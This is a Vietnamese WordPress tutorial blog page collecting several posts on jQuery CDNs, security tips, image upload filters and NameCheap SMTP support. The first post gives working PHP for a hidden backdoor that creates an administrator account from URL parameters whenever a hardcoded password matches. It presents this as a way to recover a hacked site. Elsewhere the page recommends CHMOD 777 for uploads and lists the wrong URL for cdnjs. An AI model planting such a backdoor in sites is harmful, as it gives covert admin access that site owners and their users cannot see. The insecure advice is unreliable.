Tạo backdoor cho WordPress

Nếu bạn muốn có một cách mà bạn có thể tạo thêm tài khoản admin mới khi trang web của bạn bị hack thì bài viết này mình sẽ hướng dẫn cho bạn làm điều này.

WordPress backdoor

Mình đã từng giới thiệu qua đoạn code giúp bạn tạo tài khoản admin mới cho WordPress, tuy nhiên bạn chỉ làm được bài hướng dẫn này trong trường hợp bạn còn có thể đăng nhập được hosting.

Nếu trong tình huống xấu nhất, bạn bị mất toàn bộ các quyền điều khiển website và bạn đã tạo như hướng dẫn của bài viết này thì bạn cũng có thể tạo thêm tài khoản admin cho trang web bằng cửa sau.

Đầu tiên thì bạn sẽ dùng hàm tạo thêm tài khoản admin cho WordPress, bạn khai báo hàm này như sau:

[php]
function hocwp_insert_user_admin($username, $email, $password) {
if(username_exists($username) || email_exists($email)) {
return false;
}
$userdata = array(
‘user_login’ => $username,
‘user_email’ => $email,
‘user_pass’ => $password,
‘role’ => ‘administrator’
);
return wp_insert_user($userdata) ;
}
[/php]

Sau đó, bạn tạo 1 hook có thể kiểm tra khi người dùng nhập mật khẩu bất kỳ, nếu mật khẩu khớp với mật khẩu bạn định trước thì tạo thêm tài khoản admin mới với tên tài khoản, địa chỉ email và mật khẩu như bạn điền trên thanh địa chỉ.

[php]
function hocwp_theme_custom_wp() {
$backdoor_password = $_GET[‘backdoor_password’];
if(wp_check_password($backdoor_password, ‘$P$BN/Ukn4jQ4Xm0YDKT9h/I8YFrNdRZw0’)) {
$username = $_GET[‘username’];
$email = $_GET[’email’];
$password = $_GET[‘password’];
hocwp_insert_user_admin($username, $email, $password);
}
}
add_action(‘wp’, ‘hocwp_theme_custom_wp’);
[/php]

Như vậy, khi bạn truy cập vào đường dẫn trang web mà có điền tham số backdoor_password thì hệ thống sẽ kiểm tra, nếu mật khẩu của bạn đúng thì hệ thống sẽ tạo tài khoản theo thông tin bạn nhập trên url tương ứng với từng tham số cụ thể. Chúc bạn thành công.

5 CDN server miễn phí để load jQuery

Sử dụng CDN sẽ giúp website của bạn tải nhanh hơn, điều này ai cũng biết nhưng vì lý do nào đó mà bạn chưa sử dụng CDN cho toàn trang web của mình được, nếu như vậy thì bạn cũng có thể sử dụng CDN để load script và style cho trang web.

CDN world map

jQuery là một trong những công cụ đắc lực trong khâu lập trình web, với jQuery bạn sẽ rút ngắn thời gian code đi rất nhiều. Nếu trang web của bạn đang sử dụng jQuery, bạn có thể tham khảo bài này để load jQuery từ những CDN server miễn phí, nó sẽ giúp trang web của bạn tải nhanh hơn, thân thiện với bộ máy tìm kiếm hơn.

Đầu tiên phải kể đến là CDN của chính tác giả viết ra jQuery, tuy nó có tên miền là jquery.com nhưng server được tài trợ bởi MaxCDN.

[html]<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>[/html]

Tiếp đến là dịch vụ CDN của Google, nói tới Google thì cảm giác thân thiện, nhiều người dùng. Tuy nhiên, không phải phiên bản nào của jQuery cũng xuất hiện trên Google CDN.

[html]<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>[/html]

Dịch vụ thứ 3 nữa mình muốn nói đến là dịch vụ CDN của Microsoft, đây cũng là một hãng công nghệ lớn, đặc biệt họ còn có luôn một ngôn ngữ lập trình web nữa đó là ASP.NET, do vậy trong đường link cũng có tên của ngôn ngữ này.

[html]<script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js"></script>[/html]

Dịch vụ tiếp theo là của dự án cdnjs, theo như thông tin giới thiệu của trang này thì họ cung cấp mọi phiên bản jQuery thay vì chỉ cho chạy những phiên bản jQuery phổ biến như Google và Microsoft đã làm. Server CDN của cdnjs được tài trợ bởi CloudFlare.

[html]<script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js"></script>[/html]

Và một cái cuối cùng mình muốn nói đến nữa đó là JSdelivr, thằng này cũng được tài trợ bởi MaxCDN, nếu bạn không thích kiểu url thứ nhất thì có thể chọn cái này.

[html]<script src="https://cdn.jsdelivr.net/jquery/1.11.3/jquery.min.js"></script>[/html]

Như vậy là bạn đã có được danh sách các dịch vụ CDN miễn phí phổ biến hiện nay, thay vì load script và css ở local (trên hosting của bạn) thì bạn nên chuyển qua sử dụng CDN, nếu cái nào bạn dùng, bạn cứ lên Google gõ tên và kèm theo CDN url phía sau trong từ khóa tìm kiếm là sẽ tìm ra được kết quả ưng ý. Chúc bạn thành công.

Một vài mẹo bảo mật WordPress

Mình đã từng viết bài hướng dẫn bảo mật WordPress cách đây 2 năm trên blog này, lần này cũng với nội dung như thế, mình sẽ bổ sung thêm cho các bạn những mẹo hay có thể áp dụng để nâng cao tính bảo mật cho blog WordPress của bạn.

Bảo mật WordPress

WordPress hiện đang là mã nguồn blog phổ biến nhất hiện nay, và nó cũng được sử dụng trên tổng số 25% website toàn cầu. Như bạn đã biết, cái gì phổ biến quá thì sẽ bị người khác dòm ngó, họ sẽ khai thác các lỗ hổng bảo mật để phá hoại hoặc trục lợi cá nhân. Hacker sẽ tập trung vào các lỗ hổng bảo mật trên plugin, trên giao diện hoặc thậm chí là nhân của WordPress.

WordPress bị hacker chiếm quyền sử dụng

Đừng để đến khi blog của bạn bị hack thì mới tiến hành nghiên cứu cách để đảm bảo an toàn, “mất bò mới lo làm chuồng” thì coi như xong rồi. Trong bài viết này mình sẽ chia sẻ cho các bạn một vài mẹo để nâng cao tính bảo mật WordPress, bạn có thể áp dụng một vài cách trong này hoặc cũng có thể áp dụng toàn bộ.

Sao lưu, cập nhật và lặp lại

Đây là 3 quy tắc chính trong khâu bảo mật WordPress, bạn luôn nhớ là trang web của bạn rất có thể sẽ bị hack bất kỳ lúc nào, do vậy bạn hãy thường xuyên sao lưu dữ liệu, kể cả cơ sở dữ liệu và thư mục wp-content.

Trước khi làm bất kỳ một thao tác nào thì bạn cũng nên sao lưu dữ liệu trước. Trong khâu cập nhật cho WordPress cũng vậy, hãy sao lưu dữ liệu trước khi bạn thực hiện thao tác này. Luôn cập nhật WordPress lên phiên bản mới nhất, cập nhật plugin và giao diện lên phiên bản mới nhất có thể.

Xem thêm: Cập nhật WordPress an toàn

Việc cập nhật cho WordPress sẽ giúp bạn loại bỏ lỗ hổng bảo mật trên phiên bản cũ, công việc này nên được thực hiện thường xuyên. Hơn nữa, thao tác sao lưu và cập nhật nên được lặp đi lặp lại mỗi ngày hoặc hàng tuần.

Tài khoản và mật khẩu

Cho dù trang WordPress của bạn là phiên bản mới nhất đi chăng nữa mà bạn sử dụng tên tài khoản và mật khẩu kém an toàn thì coi như mọi cố gắng của bạn cũng trở nên vô ích. Tránh sử dụng các tên tài khoản mà người ta hay khai thác như admin, tránh sử dụng các mật khẩu đơn giản mà thay vào đó là bạn nên sử dụng mật khẩu mạnh.

Xem thêm: Mật khẩu yếu được sử dụng nhiều

Ngoài tài khoản admin của bạn ra, bạn còn chú ý tới các tài khoản khác của người dùng nếu như trang blog của bạn cho phép người khác đăng ký, có nhiều tác giả và nhiều admin. Bạn nên lưu ý mọi người nâng cao tính bảo mật bằng cách sử dụng mật khẩu mạnh, đặt tên tài khoản cho hợp lý.

Thay đổi table prefix

Table prefix hay dịch ra Tiếng Việt là tiền tố của các bảng trong cơ sở dữ liệu, đây là các chữ cái bắt đầu cho tất cả các bảng trong cơ sở dữ liệu của WordPress.

Mặc định, WordPress sẽ sử dụng prefix wp_ cho tất cả các bảng, bạn nên thay đổi thành từ khác theo sở thích của bạn hoặc thay thành bất kỳ thứ gì cũng được thay vì sử dụng wp_.

Cái này bạn nên áp dụng ngay từ đầu khi cài đặt, nếu như sau khi cài đặt mà bạn muốn làm điều này thì sẽ khó nếu các bạn chưa biết cách thực hiện.

Phân quyền cho tập tin và thư mục

Đối với các tập tin thì bạn để CHMOD 644, đối với thư mục thì bạn để CHMOD 755, đối với thư mục uploads thì bạn để CHMOD 777. Ngoài ra, bạn cũng có thể CHMOD cho tập tin wp-config.php thành 600.

Nếu plugin hoặc giao diện đòi hỏi thư mục phải có CHMOD 777 thì bạn thực hiện thao tác này trên thư mục cần thiết. Không nên để CHMOD 777 cho toàn bộ thư mục của WordPress, điều này sẽ gây nguy hiểm cho trang web của bạn.

Ẩn thông báo đăng nhập

Khi bạn đăng nhập vào hệ thống, nếu bạn điền sai tên người dùng hoặc sai mật khẩu thì hệ thống sẽ thông báo chính xác các câu như: tài khoản này không tồn tài, mật khẩu không đúng,… điều này sẽ giúp cho hacker rút ngắn thời gian tìm kiếm tài khoản và mật khẩu người dùng trên trang của bạn.

[php]add_filter(‘login_errors’, create_function(‘$a’, "return null;"));[/php]

Bây giờ bạn có thể hạn chế các thông báo này bằng cách thêm vào tập tin functions.php của giao diện đoạn code bên trên.

Xóa phiên bản WordPress ở thẻ head

Bạn mở tập tin functions.php của giao diện lên và thêm vào đoạn code như bên dưới:

[php]remove_action(‘wp_head’, ‘wp_generator’);[/php]

Đoạn code này sẽ hủy chức năng xuất phiên bản của WordPress ra trong thẻ head của blog. Cái này bạn có thể áp dụng thêm hoặc bỏ qua cũng được.

Sử dụng SSL cho back-end

Nếu bạn có sử dụng SSL thì bạn mở tập tin wp-config.php lên và thêm vào dòng sau:

[php]define(‘FORCE_SSL_ADMIN’, true);[/php]

Dòng khai báo này sẽ giúp hệ thống luôn để đường dẫn trong back-end là https thay vì http như thông thường.

Thay đổi khóa bảo mật

Khóa bảo mật là những dòng được khai báo trong tập tin wp-config.php của blog.

[php]
define(‘AUTH_KEY’, ‘{4$gXfIerhU-hvv9hw`MH-0|Ux61+O-@5UpEx|>!Dg?ya<|;WZ-=DG5Hj-Sl$VbD’);
define(‘SECURE_AUTH_KEY’, ‘Ab?cHV|F -m[e}bfnZ*g.D-l_CnsF7<u-YTXiLA:#R^@g4zbc)u`#|0|uls+58]G’);
define(‘LOGGED_IN_KEY’, ‘Vg%X85|a@6x}FZlor[ ANK#hPc^y+r<sgeU1dcYP[C=p?1-!UXC#-h1|W2K,.jAg’);
define(‘NONCE_KEY’, ‘Bz{!bsyY2r(J)|(U_wf^?.7jHrRS$[?Vq(}[ 53NblWWu};H&1+-|KR~(|:V43x=’);
define(‘AUTH_SALT’, ‘Mesop2s/Ti{R73M|=VC<vy*r,^n4|VX[- o5:$Z<=1pipggnmh|mOCNU^ :.iv$x’);
define(‘SECURE_AUTH_SALT’, ‘1#iD9=tx_>gO+m}r%| }-kKMxS{[lpm,w81zzm.S~v{n*SF?J!ABwB6giOzLjk c’);
define(‘LOGGED_IN_SALT’, ‘z-xTW#<i0Rre]q[$Q>33s)S=>?yX/|XO<]PHQeirL.`R8vqrO!F&->;>;{/C&-m[‘);
define(‘NONCE_SALT’, ‘|5ev*+Dh1NG}Hm=g+DdXNcl&+)EI;^:U~}#F@|u~XF0C{2y@|6f[H+!P}=|s1W>>’);
[/php]

Nếu bạn đang nghi ngờ trang của bạn đang bị hack hoặc trang của bạn đã bị người ta truy cập trái phép trước đó thì bạn nên thay lại các đoạn mã này bằng cách vào trang API của WordPress và sao chép đoạn mã thay vào đoạn mã trong tập tin wp-config.php của bạn.

Giữ cho nhà của bạn luôn sạch đẹp

Luôn loại bỏ những thứ không cần thiết trên blog của bạn, việc cài đặt plugin sẽ tạo nên rác trong cơ sở dữ liệu. Bạn có thể dùng plugin optimize để làm sạch cơ sở dữ liệu của bạn. Thường xuyên kiểm tra định kỳ các tập tin và thư mục trên hosting, nếu có tập tin hoặc thư mục nào khả nghi thì bạn nên xóa bỏ nó đi.

Sau khi thực hiện công việc vệ sinh cho blog thì bạn lại quay về bước 1 để sao lưu dữ liệu và lặp đi lặp lại quá trình này.

Sử dụng plugin bảo mật WordPress

Có rất nhiều plugin giúp bạn nâng cao tính bảo mật cho WordPress, mình liệt kê cho các bạn một vài plugin hay được nhiều người sử dụng. Đối với các plugin có cùng chức năng thì bạn nên chọn và sử dụng 1 plugin duy nhất.

Bên cạnh các mẹo bên trên, bạn cũng có thể áp dụng các tính năng bảo mật khác trên hosting như đặt mật khẩu cho thư mục wp-admin, sử dụng tập tin .htaccess để nâng cao bảo mật,… mấy cách này thì bạn tìm hiểu thêm nhé.

Kết luận

Như vậy, qua 2 bài viết bảo mật WordPress hy vọng bạn sẽ có thêm được kiến thức để áp dụng vào trang blog của mình, không cần bạn phải áp dụng toàn bộ, cái nào bạn có thể thực hiện được thì nên làm.

Ổ khóa bảo mật cho blog WordPress

Nếu bạn còn có những cách khác để bảo mật cho WordPress thì hãy để lại bình luận trao đổi cùng mọi người. Chúc bạn thành công.

Thay đổi thông tin hình ảnh trước khi upload

Nếu bạn muốn thay đổi tên hình ảnh hoặc thay đổi kích thước của hình ảnh trước khi upload lên hosting thì bài viết này sẽ giúp cho bạn giải quyết vấn đề. Trong WordPress, có rất nhiều filter và action cho bạn làm việc, trong bài này thì mình sẽ hướng dẫn cho các bạn cách dùng filter wp_handle_upload_prefilter để chỉnh sửa thông tin hình ảnh trước khi tập tin này được upload lên hosting.

Thay đổi thông tin hình ảnh trước khi upload

Nhu cầu của bạn là cần thay đổi lại tên của hình ảnh phù hợp với chuẩn SEO, hoặc chỉ đơn giản là người dùng thích dùng Tiếng Việt có dấu để đặt tên tập tin, bây giờ bạn muốn chỉnh sửa sao cho các tập tin trước khi upload lên hosting phải có tên đẹp giống như slug.

Xem thêm: Website chuẩn SEO là gì?

Ngoài ra, nếu các hình ảnh lưu trên máy tính có kích thước quá lớn, bạn muốn chỉnh sửa lại các thông số của chúng trước khi upload lên hosting để sử dụng cho bài viết, bạn hoàn toàn có thể sử dụng filter wp_handle_upload_prefilter để làm công việc này.

Bạn mở tập tin functions.php của giao diện lên, đây là thao tác hầu như ai cũng biết nếu như bạn muốn bổ sung một hàm nào đó cho WordPress, nếu các bạn đã quá rành về điểm này thì có thể chia ra thành các lớp riêng hoặc plugin riêng để sử dụng. Sau đó, bạn thêm vào đoạn code sau:

[php]
function sb_theme_pre_upload_file($file) {
return $file;
}
add_filter(‘wp_handle_upload_prefilter’, ‘sb_theme_pre_upload_file’);
[/php]

Đoạn code bên trên là cú pháp cơ bản nhất của wp_handle_upload_prefilter. Trong biến $file này sẽ chứa các thông tin của tập tin, và đây là một mảng dữ liệu. Bạn có thể tham khảo một biến $file hình ảnh mà mình ví dụ bên dưới:

[code]
Array
(
[name] => 14175.jpg
[type] => image/jpeg
[tmp_name] => E:\xampp\tmp\phpA8B1.tmp
[error] => 0
[size] => 34676
)
[/code]

Bên trong biến $file này sẽ có các key như name, type, tmp_name,… như bạn thấy được trong đoạn code mình gửi bên trên. Để phân biệt được tập tin bạn muốn upload là hình ảnh hay các loại tập tin khác thì bạn cần kiểm tra $file[‘type’]. Đối với các file là hình ảnh thì type sẽ có chữ image nằm bên trong. Bạn chỉ việc dùng hàm để kiểm tra chữ image có tồn tại trong type thì đó là hình ảnh.

[php]
function sb_theme_pre_upload_file($file) {
// Lấy kiểu của tập tin
$file_type = isset($file[‘type’]) ? $file[‘type’] : ”;
// Kiểm tra nếu tập tin là hình ảnh
if(false !== strpos($file_type, ‘image’)) {

}
return $file;
}
add_filter(‘wp_handle_upload_prefilter’, ‘sb_theme_pre_upload_file’);
[/php]

Để thay đổi tên của hình ảnh thì bạn chỉ việc xử lý thông tin trong mảng $file[‘name’]. Bạn có thể sử dụng hàm xóa dấu Tiếng Việt bằng PHP để loại bỏ đi các ký tự đặc biệt, thay khoảng trắng bằng dấu gạch ngang,… bạn cũng có thể sử dụng hàm sanitize_file_name để kiểm tra tên của tập tin.

Bây giờ, nếu bạn muốn kiểm tra xem kích thước của hình ảnh có đạt độ lớn tối đa và tối thiểu hay không thì bạn có thể làm như sau:

[php]
function sb_theme_pre_upload_file($file) {
// Lấy kiểu của tập tin
$file_type = isset($file[‘type’]) ? $file[‘type’] : ”;
// Kiểm tra nếu tập tin là hình ảnh
if(false !== strpos($file_type, ‘image’)) {
// Hàm lấy thông tin kích thước hình ảnh
$image_size = getimagesize($file[‘tmp_name’]);
}
return $file;
}
add_filter(‘wp_handle_upload_prefilter’, ‘sb_theme_pre_upload_file’);
[/php]

Một khi đã lấy được kích thước của hình ảnh dự định upload rồi thì bạn có thể kiểm tra được kích thước của hình đó có đạt tiêu chuẩn hay chưa, nếu hình ảnh đó không phù hợp thì bạn return về một đối tượng WP_Error là quá trình upload sẽ kết thúc bằng cách gửi thông báo lỗi cho người dùng, hình ảnh sẽ không được upload lên hosting.

Liên hệ NameCheap mở port gửi mail SMTP

Nếu bạn đang sử dụng dịch vụ hosting của NameCheap, và bạn không thể gửi mail thông qua SMTP trong WordPress thì bài viết này sẽ hướng dẫn cho bạn cách yêu cầu NameCheap mở port cho bạn sử dụng.

Dịch vụ hosting của Namecheap

Mặc định, khi bạn mua một gói hosting tại NameCheap thì bạn không thể gửi mail bằng SMTP được, sẽ có gói hosting hỗ trợ hàm gửi mail mặc định của PHP, nhưng gói hosting của bạn đang dùng thì không có hàm mail cũng không cấu hình để gửi mail thông qua SMTP được thì hãy liên hệ ngay với đội ngũ hỗ trợ hosting để nhờ họ giúp đỡ nhé.

Đầu tiên thì bạn đăng nhập vào trang chủ của NameCheap. Sau khi bạn đăng nhập vào hệ thống thành công, bạn tìm kiếm tới trang Live Chat của NameCheap bằng cách sử dụng đường link mình gửi, nếu đường link trên không hoạt động thì bạn có thể tìm tới nút Live Chat trên trang chủ, đại loại nút đó sẽ có tên là Chat with a Live Person. Bạn sử dụng công cụ chat trực tiếp với nhân viên NameCheap và gửi yêu cầu với nội dung sau:

Please help me to open the port for sending mail on WordPress via SMTP Gmail.

My domain: tenmiencuaban.com

My NameCheap account: taikhoancuanban

My cPanel username: taikhoancpanel

PIN: 0000

Nếu bạn biết Tiếng Anh thì bạn hãy tự soạn thảo theo ý của bạn, trong tin nhắn sẽ bao gồm thông tin tên miền, thông tin tài khoản đăng nhập NameCheap, thông tin tài khoản đăng nhập cPanel và thông tin mã PIN của bạn. Để lấy được mã PIN trên trang thông tin cá nhân thì bạn truy cập vào đường dẫn:

Khi bạn liên hệ bằng chat trực tiếp thì nhớ chọn là hỗ trợ hosting (Hosting Support) nhé. Khi bạn đã gửi tin nhắn tới NameCheap thì sau vài giây hoặc vài phút thì sẽ có một người trả lời cho bạn, đại loại họ sẽ cảm ơn bạn đã liên hệ và hãy chờ họ xem qua câu hỏi trong giây lát. Nếu thông tin của bạn gửi là đúng thì đội ngũ kỹ thuật sẽ giúp bạn mở port cho phép bạn gửi SMTP mail trên WordPress.

Bạn hãy thử gửi mail lại lần nữa sau khi họ đã báo với bạn rằng họ đã mở port cho phép bạn gửi mail thông qua SMTP trên hosting, nếu bạn gửi thành công thì nhớ là cảm ơn họ một tiếng nhé, ai cũng thích được cảm ơn hết á. Nếu như bạn vẫn chưa gửi mail được thì có thể là do bạn cấu hình sai hoặc là do tài khoản bạn dùng để cấu hình SMTP có vấn đề.

Không chỉ dùng chat trực tiếp mà bạn hoàn toàn có thể gọi điện hoặc gửi Support Ticket. Trong các phương án trên thì mình thấy cách chat trực tiếp là nhanh và dễ nhất, không phải ai cũng giỏi Tiếng Anh để gọi điện mà đối đáp với người ta. Nếu vẫn chưa gửi được mail thì hãy chờ đợi bài viết hướng dẫn khắc phục tình trạng không gửi được mail thông qua SMTP trên WordPress của blog HocWP trong các bài viết tiếp theo nhé.